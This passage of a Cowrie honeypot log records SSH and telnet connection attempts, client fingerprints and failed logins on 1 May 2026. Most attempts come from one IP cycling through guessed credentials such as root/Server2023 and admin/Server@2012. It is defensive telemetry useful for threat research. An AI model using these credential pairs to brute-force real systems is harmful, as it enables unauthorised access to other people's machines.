","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:20.849044Z","src_ip":"103.190.242.61","session":"e544b96e8221","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":57910,"dst_ip":"10.17.0.5","dst_port":23,"session":"49cb57a67d29","protocol":"telnet","message":"New connection: 137.184.155.248:57910 (10.17.0.5:23) [session: 49cb57a67d29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:20.906519Z"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server2022","message":"login attempt [user2/Server2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:21.661536Z","src_ip":"103.190.242.61","session":"e544b96e8221","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:22.138160Z","src_ip":"103.190.242.61","session":"e544b96e8221","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":49897,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0ba64a06030","protocol":"ssh","message":"New connection: 103.190.242.61:49897 (10.17.0.5:22) [session: b0ba64a06030]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:22.338396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:22.345094Z","src_ip":"103.190.242.61","session":"b0ba64a06030","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:22.542989Z","src_ip":"103.190.242.61","session":"b0ba64a06030","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2023","message":"login attempt [root/Server2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:23.346466Z","src_ip":"103.190.242.61","session":"b0ba64a06030","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.151.178.49","src_port":47125,"dst_ip":"10.17.0.5","dst_port":22,"session":"e663c28a56d5","protocol":"ssh","message":"New connection: 112.151.178.49:47125 (10.17.0.5:22) [session: e663c28a56d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:23.809589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:23.815042Z","src_ip":"112.151.178.49","session":"e663c28a56d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:23.828581Z","src_ip":"103.190.242.61","session":"b0ba64a06030","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":50032,"dst_ip":"10.17.0.5","dst_port":22,"session":"962df922b322","protocol":"ssh","message":"New connection: 103.190.242.61:50032 (10.17.0.5:22) [session: 962df922b322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:24.028518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:24.033213Z","src_ip":"103.190.242.61","session":"962df922b322","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:24.037098Z","src_ip":"112.151.178.49","session":"e663c28a56d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:24.227186Z","src_ip":"103.190.242.61","session":"962df922b322","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"work123","message":"login attempt [admin/work123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:24.928053Z","src_ip":"112.151.178.49","session":"e663c28a56d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server2023","message":"login attempt [admin/Server2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:25.033553Z","src_ip":"103.190.242.61","session":"962df922b322","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:25.514940Z","src_ip":"103.190.242.61","session":"962df922b322","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":50155,"dst_ip":"10.17.0.5","dst_port":22,"session":"d79d8992eac9","protocol":"ssh","message":"New connection: 103.190.242.61:50155 (10.17.0.5:22) [session: d79d8992eac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:25.715506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:25.723146Z","src_ip":"103.190.242.61","session":"d79d8992eac9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:25.918676Z","src_ip":"103.190.242.61","session":"d79d8992eac9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:26.147175Z","src_ip":"112.151.178.49","session":"e663c28a56d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server2023","message":"login attempt [user/Server2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:26.728758Z","src_ip":"103.190.242.61","session":"d79d8992eac9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:27.208555Z","src_ip":"103.190.242.61","session":"d79d8992eac9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":50286,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e4fe993eac3","protocol":"ssh","message":"New connection: 103.190.242.61:50286 (10.17.0.5:22) [session: 6e4fe993eac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:27.412997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:27.418279Z","src_ip":"103.190.242.61","session":"6e4fe993eac3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:27.616993Z","src_ip":"103.190.242.61","session":"6e4fe993eac3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server2023","message":"login attempt [user2/Server2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:28.439004Z","src_ip":"103.190.242.61","session":"6e4fe993eac3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:28.919112Z","src_ip":"103.190.242.61","session":"6e4fe993eac3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":50415,"dst_ip":"10.17.0.5","dst_port":22,"session":"c372abce93da","protocol":"ssh","message":"New connection: 103.190.242.61:50415 (10.17.0.5:22) [session: c372abce93da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:29.121102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:29.127522Z","src_ip":"103.190.242.61","session":"c372abce93da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:29.323472Z","src_ip":"103.190.242.61","session":"c372abce93da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server@2012","message":"login attempt [root/Server@2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:30.137017Z","src_ip":"103.190.242.61","session":"c372abce93da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:30.618160Z","src_ip":"103.190.242.61","session":"c372abce93da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":50553,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a15816ecc41","protocol":"ssh","message":"New connection: 103.190.242.61:50553 (10.17.0.5:22) [session: 2a15816ecc41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:30.820690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:30.826160Z","src_ip":"103.190.242.61","session":"2a15816ecc41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:31.022641Z","src_ip":"103.190.242.61","session":"2a15816ecc41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server@2012","message":"login attempt [admin/Server@2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:31.836788Z","src_ip":"103.190.242.61","session":"2a15816ecc41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:32.317217Z","src_ip":"103.190.242.61","session":"2a15816ecc41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":50702,"dst_ip":"10.17.0.5","dst_port":22,"session":"93eb35392739","protocol":"ssh","message":"New connection: 103.190.242.61:50702 (10.17.0.5:22) [session: 93eb35392739]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:32.519935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:32.528656Z","src_ip":"103.190.242.61","session":"93eb35392739","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:32.724635Z","src_ip":"103.190.242.61","session":"93eb35392739","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server@2012","message":"login attempt [user/Server@2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:33.538555Z","src_ip":"103.190.242.61","session":"93eb35392739","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:34.019421Z","src_ip":"103.190.242.61","session":"93eb35392739","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.230040311813354,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:34.110767Z","src_ip":"137.184.155.248","session":"97bbcc422fe2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":50881,"dst_ip":"10.17.0.5","dst_port":22,"session":"54fff30cab64","protocol":"ssh","message":"New connection: 103.190.242.61:50881 (10.17.0.5:22) [session: 54fff30cab64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:34.225291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:34.230428Z","src_ip":"103.190.242.61","session":"54fff30cab64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:34.428073Z","src_ip":"103.190.242.61","session":"54fff30cab64","protocol":"ssh"}
